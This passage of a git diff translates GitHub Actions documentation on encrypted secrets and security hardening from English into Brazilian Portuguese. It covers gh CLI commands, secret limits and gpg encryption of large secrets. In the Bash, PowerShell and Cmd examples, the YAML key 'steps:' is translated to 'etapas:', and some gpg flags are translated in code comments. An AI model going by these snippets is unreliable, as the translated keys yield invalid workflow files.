-  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. 
+  Por exemplo, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}um segredo criado no nível de ambiente deve ter um nome exclusivo nesse ambiente, {% endif %}um segredo criado no nível do repositório deve ter um nome exclusivo nesse repositório, e um segredo criado no nível da organização deve ter um nome exclusivo nesse nível.
 
-  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.{% endif %}
+  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Da mesma forma, se uma organização, repositório e o ambiente tiverem um segredo com o mesmo nome, o segredo ambiental terá prioridade.{% endif %}
 
-To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
+Para ajudar a garantir que {% data variables.product.prodname_dotcom %} remova o seu segredo dos registros, evite usar dados estruturados como valores dos segredos. Por exemplo, evite criar segredos que contêm JSON ou Git blobs.
 
-### Accessing your secrets
+### Acessar os seus segredos
 
-To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+Para disponibilizar um segredo para uma ação, você deve configurá-lo como uma entrada ou variável de ambiente no arquivo do fluxo de trabalho. Revise o arquivo README da ação para saber quais entradas e variáveis de ambientes a ação exige. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)".
 
-You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+Você pode usar e ler segredos encriptados em um arquivo de fluxo de trabalho se tiver permissão para editar o arquivo. Para obter mais informações, consulte "[Permissões de acesso em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
 
 {% warning %}
 
-**Warning:** {% data variables.product.prodname_dotcom %} automatically redacts secrets printed to the log, but you should avoid printing secrets to the log intentionally.
+**Aviso:** {% data variables.product.prodname_dotcom %} elimina automaticamente os segredos impressos no registro, mas você deve evitar a impressão intencional de segredos no log.
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
+Os segredos da organização e do repositório são lidos quando uma execução de fluxo de trabalho é enfileirada e os segredos de ambiente são lidos quando um trabalho que faz referência ao ambiente é iniciado.
 {% endif %}
 
-You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
+Você também pode gerenciar segredos usando o API REST. Para obter mais informações, consulte "[Segredos](/rest/reference/actions#secrets)".
 
-### Limiting credential permissions
+### Permissões limitadas de credenciais
 
-When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a personal access token (PAT), select the fewest scopes necessary.
+Ao gerar credenciais, recomendamos que você conceda as permissões mínimas possíveis. Por exemplo, em vez de usar credenciais pessoais, use [chaves de implantação](/developers/overview/managing-deploy-keys#deploy-keys) ou uma conta de serviço. Considere conceder permissões somente leitura se isso o necessário e limite o acesso tanto quanto possível. Ao gerar um token de acesso pessoal (PAT), selecione o menor escopo necessário.
 
 {% note %}
 
-**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
+**Observação:** Você pode usar a API REST para gerenciar segredos. Para obter mais informações, consulte "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
 
 {% endnote %}
 
-## Creating encrypted secrets for a repository
+## Criar segredos encriptados para um repositório
 
 {% data reusables.github-actions.permissions-statement-secrets-repository %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New repository secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the value for your secret.
-1. Click **Add secret**.
+1. Clique em **Novo segredo do repositório**.
+1. Digite um nome para o seu segredo na caixa de entrada **Nome**.
+1. Insira o valor para o seu segredo.
+1. Clique em **Add secret** (Adicionar segredo).
 
-If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environment secrets or {% endif %}can access secrets from the parent organization, then those secrets are also listed on this page.
+Se o seu repositório {% ifversion fpt or ghes > 3.0 or ghae or ghec %}tiver segredos de ambiente ou {% endif %}puderem acessar os segredos da organização principal, esses segredos também serão listados nesta página.
 
 {% endwebui %}
 
@@ -99,52 +97,50 @@ If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environm
 
 {% data reusables.cli.cli-learn-more %}
 
-To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
+Para adicionar um segredo de repositório, use o subcomando `gh secret set`. Substitua `nome secreto` pelo nome do seu segredo.
 
 ```shell
 gh secret set <em>secret-name</em>
 ```
 
-The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
+A CLI solicitará que você digite o valor de um segredo. Como alternativa, você pode ler o valor do segredo a partir de um arquivo.
 
 ```shell
 gh secret set <em>secret-name</em> < secret.txt
 ```
 
-To list all secrets for the repository, use the `gh secret list` subcommand.
+Para listar todos os segredos para o repositório, use o subcomando da lista `gh secret`.
 
 {% endcli %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Creating encrypted secrets for an environment
+## Criar segredos criptografados para um ambiente
 
 {% data reusables.github-actions.permissions-statement-secrets-environment %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Click on the environment that you want to add a secret to.
-2. Under **Environment secrets**, click **Add secret**.
-3. Type a name for your secret in the **Name** input box.
-4. Enter the value for your secret.
-5. Click **Add secret**.
+1. Clique no ambiente ao qual você deseja adicionar um segredo.
+2. Em **Segredos do ambiente**, clique em **Adicionar segredo**.
+3. Digite um nome para o seu segredo na caixa de entrada **Nome**.
+4. Insira o valor para o seu segredo.
+5. Clique em **Add secret** (Adicionar segredo).
 
 {% endwebui %}
 
 {% cli %}
 
-To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
+Para adicionar um segredo a um ambiente, use o subcomando `secret set` com o sinalizador `--env` ou `-e`, seguido do nome do ambiente.
 
 ```shell
 gh secret set --env <em>environment-name</em> <em>secret-name</em>
 ```
 
-To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
+Para listar todos os segredos para um ambiente use o subcomando `gh secret list` com o sinalizador `--env` ou `-e` seguido do nome do ambiente.
 
 ```shell
 gh secret list --env <em>environment-name</em>
@@ -154,24 +150,22 @@ gh secret list --env <em>environment-name</em>
 
 {% endif %}
 
-## Creating encrypted secrets for an organization
+## Criar segredos encriptados para uma organização
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Ao criar um segredo em uma organização, você pode usar uma política para limitar quais repositórios podem acessar esse segredo. Por exemplo, você pode conceder acesso a todos os repositórios ou limitar o acesso a apenas repositórios privados ou a uma lista específica de repositórios.
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New organization secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. Clique em **Novo segredo da organização**.
+1. Digite um nome para o seu segredo na caixa de entrada **Nome**.
+1. Insira o **Valor** para o seu segredo.
+1. Na lista suspensa **Acesso do repositório**, escolha uma política de acesso.
+1. Clique em **Add secret** (Adicionar segredo).
 
 {% endwebui %}
 
@@ -179,7 +173,7 @@ When creating a secret in an organization, you can use a policy to limit which r
 
 {% note %}
 
-**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
+**Observação:** Por padrão, {% data variables.product.prodname_cli %} efetua a autenticação com os escopos `repo` e `read:org`. Para gerenciar segredos da organização, você deve adicionalmente autorizar o escopo `admin:org`.
 
 ```
 gh auth login --scopes "admin:org"
@@ -187,25 +181,25 @@ gh auth login --scopes "admin:org"
 
 {% endnote %}
 
-To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
+Para adicionar um segredo de uma organização, use o subcomando `gh secret set` com o sinalizador `--org` ou `-o`, seguido do nome da organização.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em>
 ```
 
-By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
+Por padrão, o segredo só está disponível para repositórios privados. Para especificar que o segredo deve estar disponível para todos os repositórios da organização, use o sinalizador `--visibility` ou `-v`.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --visibility all
 ```
 
-To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
+Para especificar que o segredo deve estar disponível nos repositórios selecionados dentro da organização, use o sinalizador `--repos` ou `-r`.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --repos <em>repo-name-1</em>,<em>repo-name-2</em>"
 ```
 
-To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
+Para listar todos os segredos de uma organização, use o subcomando `gh secret list` com o sinalizador `--org` ou `-o` seguido do nome da organização.
 
 ```shell
 gh secret list --org <em>organization-name</em>
@@ -213,47 +207,46 @@ gh secret list --org <em>organization-name</em>
 
 {% endcli %}
 
-## Reviewing access to organization-level secrets
+## Rever o acesso para os segredos do nível da organização
 
-You can check which access policies are being applied to a secret in your organization.
+Você pode verificar quais políticas de acesso são aplicadas a um segredo na sua organização.
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. The list of secrets includes any configured permissions and policies. For example:
-![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
-1. For more details on the configured permissions for each secret, click **Update**.
+1. A lista de segredos inclui quaisquer permissões e políticas configuradas. Por exemplo: ![Lista de segredos](/assets/images/help/settings/actions-org-secrets-list.png)
+1. Para obter mais detalhes sobre as permissões configuradas para cada segredo, clique em **Atualizar**.
 
-## Using encrypted secrets in a workflow
+## Usando segredos encriptados em um fluxo de trabalho
 
 {% note %}
 
-**Note:** {% data reusables.actions.forked-secrets %}
+**Observação:** {% data reusables.actions.forked-secrets %}
 
 {% endnote %}
 
-To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Para fornecer uma ação com um segredo como uma entrada ou variável de ambiente, você pode usar o contexto de `segredos` para acessar os segredos que você criou no seu repositório. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts)" e "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
 
 {% raw %}
 ```yaml
 steps:
   - name: Hello world action
-    with: # Set the secret as an input
+    with: # Configura o segredo como uma entrada
       super_secret: ${{ secrets.SuperSecret }}
-    env: # Or as an environment variable
+    env: # Ou como uma variável de ambiente
       super_secret: ${{ secrets.SuperSecret }}
 ```
 {% endraw %}
 
-Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
+Evite a transmissão de segredos entre processos da linha de comando sempre que possível. Os processos da linha de comando podem ser visíveis para outros usuários (usando o comando `ps`) ou capturado por [eventos de auditoria de segurança](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). Para ajudar a proteger os segredos, considere o uso de variáveis de ambiente, `STDIN`, ou outros mecanismos compatíveis com o processo de destino.
 
-If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
+Se você passar segredos dentro de uma linha de comando, inclua-os dentro das regras de aspas corretas. Muitas vezes, os segredos contêm caracteres especiais que não intencionalmente podem afetar o seu shell. Para escapar desses caracteres especiais, use aspas com suas variáveis de ambiente. Por exemplo:
 
-### Example using Bash
+### Exemplo de uso do Bash
 
 {% raw %}
 ```yaml
-steps:
+etapas:
   - shell: bash
     env:
       SUPER_SECRET: ${{ secrets.SuperSecret }}
@@ -262,11 +255,11 @@ steps:
 ```
 {% endraw %}
 
-### Example using PowerShell
+### Exemplo de uso do PowerShell
 
 {% raw %}
 ```yaml
-steps:
+etapas:
   - shell: pwsh
     env:
       SUPER_SECRET: ${{ secrets.SuperSecret }}
@@ -275,11 +268,11 @@ steps:
 ```
 {% endraw %}
 
-### Example using Cmd.exe
+### Exemplo de uso do Cmd.exe
 
 {% raw %}
 ```yaml
-steps:
+etapas:
   - shell: cmd
     env:
       SUPER_SECRET: ${{ secrets.SuperSecret }}
@@ -288,50 +281,50 @@ steps:
 ```
 {% endraw %}
 
-## Limits for secrets
+## Limites para segredos
 
-You can store up to 1,000 organization secrets{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 repository secrets, and 100 environment secrets{% else %} and 100 repository secrets{% endif %}.
+Você pode armazenar até 1.000 segredos de organização{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 segredos de repositório e 100 segredos de ambiente{% else %} e 100 segredos de repositório{% endif %}.
 
-A workflow created in a repository can access the following number of secrets:
+Um fluxo de trabalho criado em um repositório pode acessar o seguinte número de segredos:
 
-* All 100 repository secrets.
-* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
-{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* All 100 environment secrets.{% endif %}
+* Todos os 100 segredos do repositório.
+* Se o repositório tiver acesso a mais de 100 segredos da organização, o fluxo de trabalho só poderá usar os primeiros 100 segredos da organização (ordem alfabética por nome de segredo).
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* Todos os 100 segredos do ambiente.{% endif %}
 
-Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB, you can store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt your credentials locally before checking the file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
+Os segredos são limitados a 64 kB. Para usar segredos maiores que 64 kB, você pode armazenar segredos criptografados no seu repositório e salvar a frase secreta de descodificação como um segredo no {% data variables.product.prodname_dotcom %}. Por exemplo, você pode usar `gpg` para criptografar suas credenciais localmente antes de colocar o arquivo no repositório do {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte a "[página do manual gpg](https://www.gnupg.org/gph/de/manual/r1023.html)".
 
 {% warning %}
 
-**Warning**: Be careful that your secrets do not get printed when your action runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
+**Aviso**: cuide para seus segredos não serem impressos quando a ação é executada. Quando usar essa alternativa, o {% data variables.product.prodname_dotcom %} não eliminará segredos que estão impressos nos logs.
 
 {% endwarning %}
 
-1. Run the following command from your terminal to encrypt the `my_secret.json` file using `gpg` and the AES256 cipher algorithm.
+1. Execute o seguinte comando no seu terminal para criptografar o arquivo `my_secret.json` usando `gpg` e o algoritmo de cifragem AES256.
 
  ``` shell
  $ gpg --symmetric --cipher-algo AES256 my_secret.json
  ```
 
-1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
+1. Você receberá a solicitação para inserir a frase secreta. Guarde a frase secreta, pois você precisará criar um novo segredo no {% data variables.product.prodname_dotcom %} que usa a frase secreta como valor.
 
-1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you selected in the step above.
+1. Criar um novo segredo que contém a frase secreta. Por exemplo, crie um novo segredo com o nome `LARGE_SECRET_PASSPHRASE` e defina o valor do segredo para a frase secreta que você escolheu na etapa anterior.
 
-1. Copy your encrypted file into your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
+1. Copie o arquivo criptografado no repositório e faça commit. Nesse exemplo, o arquivo criptografado é `my_secret.json.gpg`.
 
-1. Create a shell script to decrypt the password. Save this file as `decrypt_secret.sh`.
+1. Crie um script shell para decifrar a senha. Salve o arquivo como `decrypt_secret.sh`.
 
   ``` shell
   #!/bin/sh
 
   # Decrypt the file
   mkdir $HOME/secrets
-  # --batch to prevent interactive command
-  # --yes to assume "yes" for questions
+  # --lote para evitar o comando interativo
+  # --sim para supor "sim" para as perguntas
   gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \
   --output $HOME/secrets/my_secret.json my_secret.json.gpg
   ```
 
-1. Ensure your shell script is executable before checking it in to your repository.
+1. Confirme que o shell script é executável antes de colocá-lo no repositório.
 
   ``` shell
   $ chmod +x decrypt_secret.sh
@@ -340,7 +333,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   $ git push
   ```
 
-1. From your workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
+1. A partir de seu fluxo de trabalho, use `step` para chamar o shell script e decifrar o segredo. Para ter uma cópia do seu repositório no ambiente em que o seu fluxo de trabalho é executado, você deverá executar a ação [`actions/checkout`](https://github.com/actions/checkout). Faça referência ao shell script usando o comando `run` relativo à raiz do repositório.
 
 {% raw %}
   ```yaml
@@ -359,8 +352,8 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
           env:
             LARGE_SECRET_PASSPHRASE: ${{ secrets.LARGE_SECRET_PASSPHRASE }}
         # This command is just an example to show your secret being printed
-        # Ensure you remove any print statements of your secrets. GitHub does
-        # not hide secrets that use this workaround.
+        # Ensure you remove any print statements of your secrets. O GitHub
+        # não oculta segredos que usam essa alternativa.
         - name: Test printing your secret (Remove this step in production)
           run: cat $HOME/secrets/my_secret.json
   ```
diff --git a/translations/pt-BR/content/actions/security-guides/index.md b/translations/pt-BR/content/actions/security-guides/index.md
index d0beceb690..a9fbc00f77 100644
--- a/translations/pt-BR/content/actions/security-guides/index.md
+++ b/translations/pt-BR/content/actions/security-guides/index.md
@@ -1,7 +1,7 @@
 ---
-title: Security guides
-shortTitle: Security guides
-intro: 'Security hardening and good practices for {% data variables.product.prodname_actions %}.'
+title: Guias de segurança
+shortTitle: Guias de segurança
+intro: 'Enrijecimento de segurança e práticas recomendadas para {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md
index 8b80be9c37..714ee86a98 100644
--- a/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md
+++ b/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Security hardening for GitHub Actions
-shortTitle: Security hardening
-intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
+title: Fortalecimento de segurança para o GitHub Actions
+shortTitle: Fortalecimento de segurança
+intro: 'Boas práticas de segurança para usar recursos do {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
   - /actions/learn-github-actions/security-hardening-for-github-actions
@@ -19,58 +19,58 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Este guia explica como configurar o fortalecimento de segurança para certos recursos de {% data variables.product.prodname_actions %}. Se os conceitos do {% data variables.product.prodname_actions %} forem desconhecidos, consulte "[Principais conceitos para o GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)
 
-## Using secrets
+## Usar segredos
 
-Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}.
+Valores sensíveis nunca devem ser armazenados como texto simples em arquivos de fluxo de trabalho, mas como segredos. [Os segredos](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) podem ser configurados na organização{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositório, ambiente{% else %} ou níveis do repositório{% endif %} e permitem que você armazene informações confidenciais em {% data variables.product.product_name %}.
 
-Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
+Os segredos usam [caixas fechadas de Libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) de modo que sejam criptografadas antes de atingir {% data variables.product.product_name %}. Isso ocorre quando o segredo é enviado [usando a interface de usuário](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) ou através da [API REST](/rest/reference/actions#secrets). Esta criptografia do lado do cliente ajuda a minimizar os riscos relacionados ao registro acidental (por exemplo, registros de exceções e de solicitação, entre outros) dentro da infraestrutura do {% data variables.product.product_name %}. Uma vez realizado o upload do segredo, o {% data variables.product.product_name %} poderá descriptografá-lo para que possa ser injetado no tempo de execução do fluxo de trabalho.
 
-To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
+Para ajudar a prevenir a divulgação acidental, o {% data variables.product.product_name %} usa um mecanismo que tenta redigir quaisquer segredos que aparecem nos registros de execução. Esta redação procura correspondências exatas de quaisquer segredos configurados, bem como codificações comuns dos valores, como Base64. No entanto, como há várias maneiras de transformar o valor de um segredo, essa anulação não é garantida. Como resultado, existem certas etapas proativas e boas práticas que você deve seguir para ajudar a garantir que os segredos sejam editados, e para limitar outros riscos associados aos segredos:
 
-- **Never use structured data as a secret**
-    - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
-- **Register all secrets used within workflows**
-    - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
-    - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
-- **Audit how secrets are handled**
-    - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
-    - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
-- **Use credentials that are minimally scoped**
-    - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-    - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %}
-- **Audit and rotate registered secrets**
-    - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
-    - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
+- **Nunca usar dados estruturados como um segredo**
+    - Os dados estruturados podem fazer com que ocorra uma falha nos registros de segredos, pois a redação depende, em grande parte, de encontrar uma correspondência exata para o valor específico do segredo. Por exemplo, não use um blob de JSON, XML, ou YAML (ou similar) para encapsular o valor de um segredo, já que isso reduz significativamente a probabilidade de os segredos serem devidamente redigidos. Em vez disso, crie segredos individuais para cada valor sensível.
+- **Registre todos os segredos usados nos fluxos de trabalho**
+    - Se um segredo for usado para gerar outro valor sensível dentro de um fluxo de trabalho, esse valor gerado deve ser formalmente [registrado como um segredo](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) para que seja reproduzido se alguma vez aparecer nos registros. Por exemplo, se, ao usar uma chave privada para gerar um JWT assinado para acessar uma API web, certifique-se de registrar que JWT é um segredo ou não será redigido se entrar na saída de do registro.
+    - O registro de segredos também aplica-se a qualquer tipo de transformação/codificação. Se seu segredo foi transformado de alguma forma (como Base64 ou URL codificada), certifique-se de registrar o novo valor como um segredo também.
+- **Audite como segredos são tratados**
+    - Audite como os segredos são usados, para ajudar a garantir que estejam sendo tratados conforme o esperado. Você pode fazer isso revisando o código-fonte do repositório que executa o fluxo de trabalho e verificando quaisquer ações usadas no fluxo de trabalho. Por exemplo, verifique se eles não são enviados para hosts não pretendidos, ou impressos explicitamente na saída de um registro.
+    - Visualize os registros de execução do seu fluxo de trabalho depois de testar entradas válidas/inválidas e, em seguida, verifique se os segredos estão sendo editados corretamente ou não são mostrados. Nem sempre é sempre óbvio como um comando ou ferramenta que você está invocando irá enviar erros para `STDOUT` e `STDERR`, e os segredos podem depois acabar em registros de erro. Como resultado, considera-se uma boa prática rever manualmente os registros do fluxo de trabalho depois de testar entradas válidas e inválidas.
+- **Use as credenciais que tenham escopos mínimos**
+    - Certifique-se de que as credenciais usadas nos fluxos de trabalho têm o menor privilégio necessário e esteja ciente de que qualquer usuário com acesso de gravação ao repositório terá acesso de leitura a todos os segredos configurados no seu repositório. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    - As ações podem usar o `GITHUB_TOKEN` acessando-o no contexto do `github.token`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#github-context)". Portanto, você deve certificar-se de que o `GITHUB_TOKEN` tenha as permissões mínimas necessárias. É uma prática de segurança recomendada definir a permissão-padrão para o `GITHUB_TOKEN` para ler apenas os conteúdos do repositório. As permissões podem ser aumentadas, conforme necessário, para tarefas individuais dentro do arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". {% endif %}
+- **Audite e gire os segredos registrados**
+    - Reveja, periodicamente, os segredos registrados para confirmar se ainda são necessários. Remova aqueles que não são mais necessários.
+    - Gire os segredos periodicamente para reduzir a janela de tempo durante a qual um segredo comprometido é válido.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- **Consider requiring review for access to secrets**
-    - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+- **Considere a necessidade de revisão para acesso a segredos**
